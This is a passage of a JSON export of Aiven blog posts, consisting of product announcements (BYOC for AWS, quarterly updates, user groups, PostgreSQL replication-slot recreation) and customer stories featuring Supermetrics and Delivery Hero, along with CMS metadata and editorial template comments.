up\n\n\n--\u003e\n","categories":[{"_key":"831b86a9ff7d","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-7243487cd56618a48df7164b78eeaab0fff6fa88-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-01T06:43:51.107Z","related":[{"_key":"e803ddc802d6","_ref":"6edd956e-b77d-4872-b909-005b3f926172","_type":"reference"},{"_key":"4125b327a0aa","_ref":"5xMVmgTPANyANZSs0E8UPT","_type":"reference"},{"_key":"2c163aec244d","_ref":"1T7v4WU7Jn5ipK5AzGWgtD","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Lyyti is transforming the event management space with data. Visit the Aiven blog for more interesting insights about the cooperation!"},"slug":{"_type":"slug","current":"/blog/better-events-through-data-with-lyyti"},"subtitle":"Find out how our customer Lyyti is transforming the event management space with data.","title":"Better events through data with Lyyti"}
{"__i18n_lang":"en","_createdAt":"2023-11-27T13:14:59Z","_id":"dd1d35d3-0232-43ce-a7a2-187e79d501ec","_rev":"T130WEs22RB6SoEkOBoBUC","_type":"post","_updatedAt":"2024-11-19T09:49:17Z","authors":[{"_key":"427d6e4d7793","_ref":"21826e5e-978d-4861-aac3-716443cd9095","_type":"reference"},{"_key":"b89b2e6c37af","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"A substantial proportion of Aiven’s customers deploy Aiven services in AWS regions around the globe. We have heard from developers in these customers that building enterprise applications on AWS can be time consuming and complex, and that they want to devote more of their effort to focusing on innovation, and less to infrastructure configuration, deployment, and management.\n\nMany of these developers chose to exploit open source data infrastructure technologies to build the data layers of their applications. Managed open source services, such as those provided by the Aiven Platform, are a popular choice because they provide deployment flexibility, minimizing dependency on a single vendor,  and remove the software acquisition and maintenance costs associated with many proprietary software technologies, leading to a reduction in overall costs.\n\n[BYOC](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc) has become an increasingly popular option for many customers who are considering managed open source services. This has been driven by customers' need to maintain the infrastructure governance and data sovereignty strategies they have established when partnering with cloud providers like AWS, and to consume the multi-year purchase commitments they have entered into in order to manage costs. For customers, it’s all about flexibility, but that flexibility has previously come at a cost, with some BYOC options requiring developers to spend up to 4 weeks planning the configuration, deployment, and management of a custom environment to manage their data services.\n\nWith Aiven’s new self-service BYOC automation for AWS, enterprise developers can use self-service technology to establish the custom cloud infrastructure framework required to run managed Aiven data services in their AWS environment. The automated configuration and deployment process typically takes less than an hour to complete and is 99% faster than previous method of building a custom cloud infrastructure framework, reducing cycle times and freeing up developers’ time to focus on innovation\n\n## A custom cloud for your data\n\nCustomers will access the self-service BYOC workflow through the [Aiven management console](https://console.aiven.io).  After providing a few configuration variables, including the AWS region you wish to run Aiven services, your desired network range, and an AWS Role ARN you create using an Aiven-provided Terraform script, the BYOC automation will build and deploy a custom cloud environment to run Aiven services in your AWS account. Once complete, customers are ready to deploy Aiven managed data services into their custom cloud environment.\n\nOf course, Aiven customers operating in a BYOC model will enjoy the benefits of Aiven’s developer-friendly tools, such as 24x7 monitoring and alerting, proactive maintenance and upgrades, and 99.99% availability SLA.\n\n## Cost savings of up to 35%\n\nAiven’s BYOC model enables customers who have volume purchase commitments with cloud providers like AWS, to use the cost of the infrastructure required by Aiven’s services to offset, or consume, their purchase commitment at an accelerated rate using their negotiated discounts.  Aiven’s customers running in a BYOC model today report an average savings of 35% vs Aiven’s standard model. Your cost savings may vary based on your negotiated discounts with your cloud provider. \n\n## Pricing and availability\n\nAiven’s self-service BYOC for AWS automation is now in Early Availability for qualified customers in any AWS region supported by Aiven.  An Aiven account manager can help you determine whether BYOC is right for your organization.\n\nIn a BYOC model, Aiven service pricing has two components: infrastructure and managed services. Customers pay AWS directly for the infrastructure services used to run their custom cloud and Aiven data services deployed, like Aiven for Apache Kafka® or Aiven for PostgreSQL®.  Customers pay Aiven directly for the monthly managed services fee for each data service purchased and actively consumed.  Each Aiven managed data service is priced per hour.\n\n## How to get started\n\nTo gain access to the self-service BYOC automation for AWS, or to learn more about Aiven services, contact Aiven through an account manager, or from the [Bring Your Own Cloud page](https://aiven.io/docs/platform/concepts/byoc) in the Aiven console.\n\n","categories":[{"_key":"01c71b6b62ea","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"eeabf4b44c9c","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"An orange background with whitel text \"Accelerate time-to-value with Aiven’s self-service Bring Your Own Cloud (BYOC) automation for AWS\"","asset":{"_ref":"image-0ab52196d5a7ef557987b2060934cec470b4d745-1200x628-png","_type":"reference"}},"publishedAt":"2023-11-27T13:14:34.845Z","related":[{"_key":"09484a47cc00","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Our BYOC automation for AWS simplifies infrastructure setup for app developers and optimizes workflows. Find out more in the Aiven blog!","metaTitle":"Aiven’s BYOC Automation for AWS | Get Informed"},"slug":{"_type":"slug","current":"/blog/accelerate-time-to-value-with-byoc"},"subtitle":"Complex and lengthy infrastructure setup processes no longer a blocker for Application Developers.","title":"Accelerate time-to-value with Aiven’s self-service Bring Your Own Cloud (BYOC) automation for AWS"}
{"__i18n_lang":"en","_createdAt":"2023-02-07T12:39:46Z","_id":"e25ec9b4-5d42-4b5b-8ff0-87001bbce526","_rev":"lhvtNBOlLYH5KiQFQ8YMh5","_type":"post","_updatedAt":"2024-01-29T15:38:30Z","authors":[{"_key":"b58b590f5c08","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## Aiven for ClickHouse® GA\nIn December Aiven for ClickHouse became generally available, and now Aiven lets you create fully managed data warehouses for your analytics. Read more in our blog: [Aiven for ClickHouse® now generally available](https://aiven.io/blog/aiven-for-clickhouse-now-generally-available). \n## OpenSearch® 2\nOctober saw the upgrade of Aiven for OpenSearch to OpenSearch 2. Compared to version 1, the new release includes many improvements, including better Machine Learning capabilities, new notification plugins, and performance improvements.\n\nIf you’re already using Aiven for OpenSearch and want to upgrade to version 2, you can either wait for your scheduled maintenance window or trigger an upgrade in the Aiven Console.\n\nSee the [release notes](https://github.com/opensearch-project/opensearch-build/tree/main/release-notes) for more information.\n## Grafana 9\nIn October, we also [upgraded Aiven for Grafana to version 9](https://aiven.io/blog/strengthen-your-monitoring-game-with-grafana-9). This brought you such capabilities as: \n\n- Prometheus query builder for easily pulling metrics from different sources\n- Heatmap panel for visualizing time series data as a histogram\n- Improved user interface with dashboard previews, improved search capabilities and favorite dashboards\n\nThe new version offers greatly simplified monitoring and enhanced usability.\n## Aiven on Azure Marketplace\nSince November 2022, [Aiven services have been available directly through Azure Marketplace](https://aiven.io/blog/aiven-on-microsoft-azure-marketplace). If you’re already using it, you can now add Aiven services into your mix while leveraging your long-term commitment to Microsoft Azure.\n\nYou get the same level of access to the Aiven control plane and the same great Aiven services by signing up through the Marketplace as you would by signing up directly with Aiven, and for the same price.\n## Cross-project service integration \nStarting in December, Aiven offers cross-project service integration for metrics, logs, dashboards and data sources. You can pull logs and metrics from multiple projects to set up centralized observability for your entire Aiven data infrastructure. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/cee278f5d9e8641d81c032a5f2227bc22308fc97-1707x1237.png)\n\nTo find out more and see some examples for setting up integrations, see [OpenSearch log integration](https://aiven.io/docs/products/opensearch/howto/opensearch-log-integration.html) and [Monitor Aiven services with M3DB](https://aiven.io/docs/products/m3db/howto/monitoring.html) in our documentation.\n## Two minor releases of Klaw\nKlaw, the open source Apache Kafka® governance tool, has already seen two new minor releases here at Aiven [after only joining us in October](https://aiven.io/blog/aiven-welcomes-kafkawize-now-klaw). Klaw is a part of the end-to-end event streaming ecosystem whose heart is Aiven for Apache Kafka, allowing you to securely govern your Kafka-based infrastructure.\n\nIn recent releases, we’ve improved the interface’s security experience as well as its user experience. We’ve also beefed up the documentation, addressed some security vulnerabilities, introduced Makefile... and much more.\n\nIn the recent releases, we’ve improved the security experience as well as the user experience in the interface. We’ve also beefed up the documentation, addressed some security vulnerabilities, introduced Makefile… and much more.\n\nAmong the major features we implemented are:\n\n- SASL authentication\n- JWT-based authentication to the Klaw Cluster API\n- Multi-cluster connections using different SSL certificates\n\nFor a full list of improvements, read [the post recapping Klaw’s big year 2022](https://aiven.io/blog/klaw-in-2022-simplifying-apache-kafka-data-governance).\n## Recreation of replication slots\nIn December, we released a new feature for Aiven for PostgreSQL®: [logical replication slots are now recreated](https://aiven.io/blog/aiven-for-pg-recreates-logical-replication-slots) in the event of a failover or switchover. \n\nYour PostgreSQL will recover from a failover, but if you’ve set up logical replication slots they used to require being recreated manually. This resulted in downtime, as the database couldn’t accept new writes in the meantime. Now Aiven for PostgreSQL will do this for you, and it’s much quicker than doing it yourself.\n\nFor more information, check out [Aiven for PostgreSQL® now recreates logical replication slots automatically](https://aiven.io/blog/aiven-for-pg-recreates-logical-replication-slots) on the Aiven blog.\n## Aiven Console updates\nThe [Aiven Console](https://console.aiven.io) saw several facelifts and improvements over the quarter. All of them merit attention, so let's take a closer look.\n### Find your services more easily\nYou can now apply filtering in the Services list. This is handy if your Console currently shows a giant wall-of-services! You can filter by service type, service status, or cloud provider.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5-1735x737.png?w=450)\n\n### Quickly connect to your Aiven service\nQuick Connect is a feature that makes it quick and easy to connect to your Aiven for PostgreSQL®, MySQL®, Apache Kafka®, Redis®, and OpenSearch®.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/8e43f8a4333cb0dea6af4152a4f26810283c6cb3-1034x1206.png)\n\n### Clearer Integrations tab\nThe Integrations tab for each service now distinguishes between internal and external integrations, and shows more relevant information. You can now see where data is coming from and where it’s being sent to, plus other aspects of current integrations. We also updated the descriptions to make it clearer what to use each integration for.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2190008d7437ec34163c83aa209a355ad3134528-1013x979.png?w=450)\n\n\n### Navigation update\nRenewed top-level navigation that makes it easier to navigate between your accounts and projects, and to find the most important management features. Go to the Aiven Console and take a look at the top bar.\n## Renewed Changelog \nAs the icing on the (crab?) cake, Aiven’s Changelog has also undergone a transformation. With the aid of our excellent technical writers, it gives you a better understanding of what has changed and why, and whether action is needed on your side. It also points you to further information and help resources. \n\nCheck out the new changelog at [https://aiven.io/changelog](https://aiven.io/changelog). To be quite honest, it now makes for a good read! \n\nAnd incidentally, that’s where you’ll also find all the minor updates we couldn’t list in this post without making it way too long.\n\n\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nInsert the hero image (set it up in https://sanity.avnsmarketingtest.net/media)\nDefine the author\nAdd relevant categories\nAdd keywords as recommended by SEO agency\nWrite the post\n\nAdd a wrapping up section and a strong CTA.\nKeep the \"Next steps\" section as a \"footer\". Remember to add links to the relevant product pages.\n--\u003e\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"0f7b27dbcc2f","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5740f35d77793404b2dde0739d50c354c1ab0428-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-07T21:59:00.000Z","related":[],"seo":{"_type":"metaData","metaTitle":"Aiven's Product Updates in Q4/2022 - Find out more!"},"slug":{"_type":"slug","current":"/blog/what's-new-at-aiven-q4-2022"},"subtitle":"Things are happening at Aiven! Find out what we released in the last quarter of 2022. Warning: there’s a lot of it.","title":"What's new at Aiven: Q4/2022"}
{"__i18n_lang":"en","_createdAt":"2023-01-27T08:12:57Z","_id":"f199e025-baca-4d0a-a3ae-a8a246e01b6d","_rev":"yn3ffGOj7FCOSHAOSHJa3u","_type":"post","_updatedAt":"2023-06-22T13:39:34Z","authors":[{"_key":"6820ee9bf05e","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"},{"_key":"9d784bfae1df","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"\n\u003e *The customer business problem we're solving is actually fairly simple. I have data, and if I want to put it into one place to analyze it, I'm going to either have to go to each one of those places and cut and paste it, or I can just use Supermetrics. Click a few buttons, say what kind of data I want, schedule it even–and then off we go to the races. Suddenly I have the data and I can do the analysis.*\n\nFor [Supermetrics](https://supermetrics.com)’ Chief Technology Officer, mobility across clouds is a dream. A dream that is turning into a reality for cloud-native companies–as well as a necessity.\n\n## Introducing Dups\nDuleepa \"Dups\" Wijayawardhana is CTO at Supermetrics, a Finland-based company with headquarters in Helsinki and offices in Atlanta, Dublin, Vilnius, and Singapore. Dups got his start as a developer with a background in DevOps. With the help of smart and talented colleagues, he founded companies with funding from some of Silicon Valley and Canada's leading venture capitalists.\n\nToday, with more great talents on his side and an arsenal of business instinct at his command, he advises and consults on technology that brings people together, inspires, innovates and makes sense of the world. He was voted Finland’s CTO of the Year in 2021, a victory he proudly attributes to the great Supermetrics team.\n\nSupermetrics is an organization of over 300 staff, including more than 80 developers. They help over 17,000 customers move data [from scattered marketing platforms](https://supermetrics.com/connectors) into their [go-to analytics and reporting tools](https://supermetrics.com/products).\n\n\u003e *When I joined Supermetrics, we were serving millions of queries. Now we serve billions of queries. What we used to do, we did literally with four servers. We now have hundreds of servers to do that processing.*\n\n### The changing face of the datasphere\nIn just 5 years, Supermetrics has grown almost beyond recognition—and they’re not the only ones. The ocean of data in which Dups and his colleagues swim is bigger, deeper, and more here-there-be-dragons-y than ever. Also there’s more than one ocean.\n\n\u003e *There's business challenges all around the world. So for example, what used to be, “it's okay, you can process everything you have in the one place,”–no longer. We have to serve our EU customers inside the EU. There may be a situation where a customer might say, “I don't want to be in this cloud. I want to be in another cloud.” These are the kinds of problems that Aiven, for example, is helping us solve and scale.*\n\nManually updating every single database to a new version is time consuming. Normally, Supermetrics would have needed to do it in AWS, and in GCP, and then just hope they were linked to the right version. Now, Supermetrics can cut from one cloud to another of the same database type with minimal effect on their end user experience.\n\n## Lifting heavy data with Supermetrics\nData analytics teams can use Supermetrics to draw data from lots of places into one repository, without getting repetitive strain injury from hitting copy-paste a million times a day. Fed up with managing three separate cloud environments with different versions of the same open source software, Dups and his crew decided they wanted to build a data infrastructure that was robust, scalable and easy to self-manage.\n\n### What kind of data?\nSupermetrics’ main focus is marketing and sales data. Their product integrates to over 100 different platforms—Facebook Ads, Google Analytics, TikTok, HubSpot, etc. With Supermetrics, marketers and analysts can easily automate data transfers into their favorite analytics platforms—whether it’s a spreadsheet, a data warehouse, or a BI tool.\n\nIn doing so, Supermetrics process billions of queries on behalf of their customers–and transfer terabytes of data.\n\n### Aiven to the rescue\nAiven doesn’t manage Supermetrics’ infrastructure, but provide the software that enables Supermetrics to centrally manage their entire data infrastructure.\n\n“One of the reasons why we moved to Aiven, as opposed to other solutions that we looked at, is that Aiven allowed us to run the services in our own cloud in our own infrastructure,” Dups explains.\n\nAsked what his favorite thing about Aiven is, Dups doesn’t hesitate. “The fact that it’s built on open source. Aiven’s built some amazing technology on top of open source databases to move them around in different clouds in different regions.”\n\n## To the clouds and beyond\n\nThe next thing on the horizon for Supermetrics is to enable full data sovereignty for customers. Dups wants their customers to be able to benefit from Aiven’s ability to move data between clouds and regions. Supermetrics’ customers should have the opportunity to choose where their data is processed. In addition to behind-the-scenes reliability, the customer would have a real choice.\n\nWith the world of data only getting larger and more complex, the future is looking bright–and busy–for Supermetrics and our friend Dups. At Aiven, we’re looking forward to seeing what challenges are ahead.\n\nWant to see some more great success stories from our fellow data travelers? [Check out our case studies](https://aiven.io/case-studies) to see how Aiven has helped businesses to thrive.\n\n::youtube[Innovating together: Aiven + Supermetrics]{#oQIjSwWxE14}\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-1142e2ede9143bf3554dbc916518409ae7a52eed-1920x1037-jpg","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Cross-cloud data handling with Supermetrics","asset":{"_ref":"image-d3e56f891564fef9274bfce7bca67b0f37b0ed74-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-06T09:10:11.400Z","related":[{"_key":"5d94d31f7f7c","_ref":"4YXUQMGtng5hcyF4B5K0cR","_type":"reference"},{"_key":"37107b736d20","_ref":"4VOnZBlI7irStOfihS2uKr","_type":"reference"},{"_key":"e234745d15a0","_ref":"6C3u3uBahQCfx4Atonkg03","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Find out how the Aiven software has helped Supermetrics guide their data across clouds and save valuable time. Read more about it in our blog post!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d3e56f891564fef9274bfce7bca67b0f37b0ed74-1567x844-png","_type":"reference"}},"metaTitle":"Cross-cloud data handling with Supermetrics"},"slug":{"_type":"slug","current":"/blog/multicloud-drifting-with-dups-and-supermetrics"},"subtitle":"Meet Duleepa \"Dups\" Wijayawardhana, the CTO for Supermetrics, and find out how Aiven has helped Supermetrics guide their data across clouds.","title":"Multicloud drifting, with Dups and Supermetrics"}
{"__i18n_lang":"en","_createdAt":"2023-08-30T12:43:25Z","_id":"f249751b-885a-4286-97ce-474569077f7d","_rev":"lToOrzsceUYtLq3U2SClni","_type":"post","_updatedAt":"2024-07-17T08:11:54Z","authors":[{"_key":"1666f85e83b5","_ref":"495d15fb-d2b1-4a6b-a5af-44b62df3857a","_type":"reference"}],"body":"Large organizations need efficient and flexible ways to manage users and their access to different projects and services on the Aiven Platform. These organizations typically have many users with different levels of access in multiple projects, making it difficult to keep track of who has access to what. This can lead to operational disruptions and security and compliance issues.\n\nTo address this challenge, we are introducing **centralized organization users and groups**. These features streamline the user and access management process, making it much easier to scale your setup on the platform and gain visibility into users and their permissions across the entire organization. \n\nOrganization users and groups build on the [organization](https://aiven.io/blog/introducing-organizations-and-units-in-aiven) concept that was announced earlier this year. Furthermore, the organizational unit feature that has been in beta since then, now reaches general availability.\n\n## Organization users\n\nUsers can now be [centrally managed](https://aiven.io/docs/platform/howto/manage-org-users) across the entire organization, reducing the administrative burden of keeping track of users and helping to keep infrastructure more secure. \n\nUsers are invited to the organization using email. Once they have accepted the invitation, administrators can give them access to specific organizational units, projects, and services within that organization and view their active authentication methods, two-factor authentication status, group membership, and last active status in the Aiven Platform.\n\n## Groups\n\n[User groups](https://aiven.io/docs/platform/howto/list-groups) provide an efficient and easy way to control user access to organizational units, projects, and services. The new groups feature is replacing the old teams concept. Unlike teams, groups are shared across the entire organization, so you can create one group and use it across all your organizational units. This makes it easier to manage access and ensures that users have the right permissions to the resources they need.\n\nGroups also come with several user experience improvements, such as:\n\n- Search for and add users with a single click\n- Open a user's profile from right within the group\n- Monitor the status and last activity of all users in the group at a glance\n\nSwitch to groups now for an enhanced user experience, and stay tuned for upcoming features such as syncing users and groups with an external identity provider.\n\n## Organizational units reach GA\n\n[Organizational units](https://aiven.io/docs/platform/concepts/orgs-and-units) allow you to refine the hierarchy of your projects and services. This hierarchical structure gives you greater flexibility to organize your account structure to fit your needs. For example, you can easily split production and testing workloads into different organizational units that are in the same Aiven organization. \n\nOrganizational units have been available as a beta feature since early this year. With the introduction of groups, we are now making them generally available. \n\n## Get started\n\nEnjoy the enhanced user experience and start managing your users and groups across the whole organization. Log in to [Aiven Console](https://console.aiven.io/) and navigate to the admin page of your organization to get started.\n\nLearn more about users and groups in [our user and access management documentation](https://aiven.io/docs/platform/howto/list-user). \n","categories":[{"_key":"437a585e12d2","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"0feafd7fceba","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-2d507d425e755730f88dbfbbf9162cd2d78d72a0-1567x844-png","_type":"reference"}},"publishedAt":"2023-09-05T14:00:00.000Z","related":[{"_key":"555945033ba3","_ref":"70c50025-8a7e-47d1-9260-bc1cf116c176","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/streamlined-user-management-in-the-aiven-platform"},"subtitle":"Introducing centralized organization units, users and groups for scalable user and access management.","title":"Streamlined user management in the Aiven Platform"}
{"__i18n_lang":"en","_createdAt":"2023-01-10T10:16:28Z","_id":"fc3324c1-9cf5-41fe-b10d-42f489e57f20","_rev":"ZLvKaZvfbZlWBlGcpInvU9","_type":"post","_updatedAt":"2024-01-29T15:38:32Z","authors":[{"_key":"df3a357cd646","_ref":"2c0f450e-227c-4fe6-b73e-ef7eb4293774","_type":"reference"},{"_key":"01df7304d196","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## Failover pain\nYour PostgreSQL® cluster’s primary node fails, a new primary replaces it as planned … but the connection to the replication slots is broken, and other systems can no longer read the data from the new primary. For example: if your PostgreSQL® is functioning as long-term storage with Apache Kafka® in the middle serving data in and out, then Kafka can’t read from the new primary without a new replication slot being set up.\n\nIt will take a while for you to create and connect to a new logical replication slot. You have two choices in the meantime: either you shut down access to PostgreSQL from elsewhere in the system to avoid new entries being written; or you resync the entire cluster afterwards to avoid entries being dropped. \n\nAnd you need to do this for every single primary.\n\nBut at Aiven, this hassle is now a thing of the past. In December 2022 we rolled out a new feature that automatically recreates logical replication slots in the event of a failover or a controlled switchover for Aiven for PostgreSQL.\n\n## Logical replication slots\nIn PostgreSQL® you can set up a logical replication slot for any downstream subscribers of the server. Having a replication slot causes the subscriber to receive the changes in the data in a database.\n\nThe trouble with this setup is that if you rely on replication slots and your primary node goes down, you will end up with either gaps in the data or having to re-read huge chunks of the database.\n\nThis is because after a failover or a switchover, you need to recreate the slots and reconnect all the downstream subscribers. If this is done manually, the subscribers will in practice lose whatever is written into the database while the process is ongoing. You can mitigate this with a complete resync of the database, but that causes downtime for the users.\n\n## No more gaps or full resync\nAiven for PostgreSQL has now implemented automatic recreation of replication slots for PG clusters. Whenever the primary node of a multi-node cluster goes down, whether in an unplanned failover or a controlled switchover, Aiven automagically recreates the replication slots from the old primary server in the new primary server. For single-node clusters, the replication slots are recreated during a controlled switchover.\n\nThis is achieved by creating replication slots from the primary in the standby or a new node which will be promoted as a primary, and synchronizing their positions continually. When a failover or switchover occurs, the standby node already has the same replication slots, and the positions are up to date (up to the accuracy of 5 seconds).\n\nThe slots are recreated on a node before it gets promoted as primary and opens connections to replicas or other systems.\n\n## Applying automatic recreation of replication slots\nYour Aiven for PostgreSQL database will benefit from this new feature the next time the servers are recycled during maintenance (we don’t touch nodes that are already running, to avoid any issues in our customers’ environments). So you’ll lose your replication slots in the next maintenance update for the last time, and then the automatic replication will start to work.\n\nAnd of course, new services have this new feature from the get-go!\n\n## Wrapping up\nManaging your Aiven for PostgreSQL cluster just got easier. When a new primary takes over after a switchover or failover, it already has the same replication slots as the old one, and other systems can seamlessly resume reading from it.\n\nFor more information about this new feature, see our documentation: [Upgrade and failover procedures](https://aiven.io/docs/products/postgresql/concepts/upgrade-failover). \n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"efe74ef85536","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"f30c5b72112f","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d1dec75ee68d50e647bb7e5e069c2d42576d9be4-1567x844-png","_type":"reference"}},"publishedAt":"2023-01-13T11:53:08.439Z","related":[{"_key":"4da48f493117","_ref":"6q2Ct4Z3GJj2FctvVs2MKX","_type":"reference"},{"_key":"4cf9e2fde0fa","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"10242c7b7081","_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven for PostgreSQL®: Automatic Recreation of Replication Slots"},"slug":{"_type":"slug","current":"/blog/aiven-for-pg-recreates-logical-replication-slots"},"subtitle":"No more worries about losing your logical replication slots during maintenance or failover - Aiven now recreates them for you! Find out more here.","title":"Aiven for PostgreSQL® now recreates logical replication slots automatically"}
{"__i18n_lang":"en","_createdAt":"2024-03-22T08:36:42Z","_id":"f9b3734c-8b0c-432e-b6f9-382e0311ae0d","_rev":"sEwq5NBiPauorOxrhfBhQP","_type":"post","_updatedAt":"2024-11-18T13:01:05Z","authors":[{"_key":"4411719656a8","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"We’ve all heard the old saying that travel broadens the mind. But Micah Lasseter, Director of Leadership and Management Development at Delivery Hero can confirm that it is absolutely true. He’s also clear that in today’s businesses, which are dependent on data and developers, having a broad and inclusive mindset is a real success factor. \n\nLasseter has more than 15 years of experience working with global organizations, nonprofits and universities on leadership coaching, strategic learning and even curriculum design. He has an enviable track record of success when it comes to linking a business’s goals with the learning needs of its teams — as the international success of Delivery Hero, one of our customers, suggests.\n\nBefore moving to his current post in Berlin, Lasseter worked in places like Amsterdam and New York, and he has seen many different work cultures at close range. “International experiences have definitely influenced my own approach to leadership,” he says. \n\n![Micah Lasseter, Delivery Hero](https://cdn.sanity.io/images/sczeoy4w/production/15fa9e766b8a2740e38fee6cf9f125629418f1b1-1200x628.png)\n\n“It’s taught me that wherever you’re going, and for whatever reason, there will be a learning aspect to it. And it has made it really clear to me that listening to, encouraging and engaging with people who have different perspectives is essential to good leadership.”\n\n## Diversity is more than a mission statement\n\nLasseter is acutely conscious that the technology industry often lacks those different perspectives and needs greater diversity within. It’s a view we share at Aiven. As an industry, we could be missing out on different experiences, innovative thinking and creativity, and creating new products and services that don’t reach their full potential as a result. \n\nOften, when Lasseter speaks to leaders who are looking to recruit more new people, they tell him that they would love to make the team more diverse, but all the available senior talent essentially looks just like them.\n\n“I want to push back against that idea,” he says. “As leaders, it’s part of our role to find and build up that talent. It’s not easy, obviously, but it’s something that we need to be proactive about and create a strategy for. For example, if you’re hiring to achieve a medium-term goal, then keep roles open a bit longer in order to find that unique but unrepresented talent.”\n\nThere are other practical ways to make sure that diversity is more than just words in a mission statement. “It’s a global issue. There are examples of companies that are really nurturing inclusive leadership that we can all learn from,” he says and points out that leaders should also have the confidence to ask for feedback on their performance in this area. “Getting that awareness can be really helpful. It’s a really important learning journey.”\n\n :youtube[Cultivating a culture of learning]{#Y4Lui7pMH4M} _Fireside Chat between our CEO, Oskari Saarenmaa and Micah Lasseter, Director of Leadership and Management Development, Delivery Hero_\n\n## Open, accessible and inclusive technology platforms\n\nIn addition to his own experiences, Lasseter’s approach to learning and to leadership is also informed by academic research. He is due to 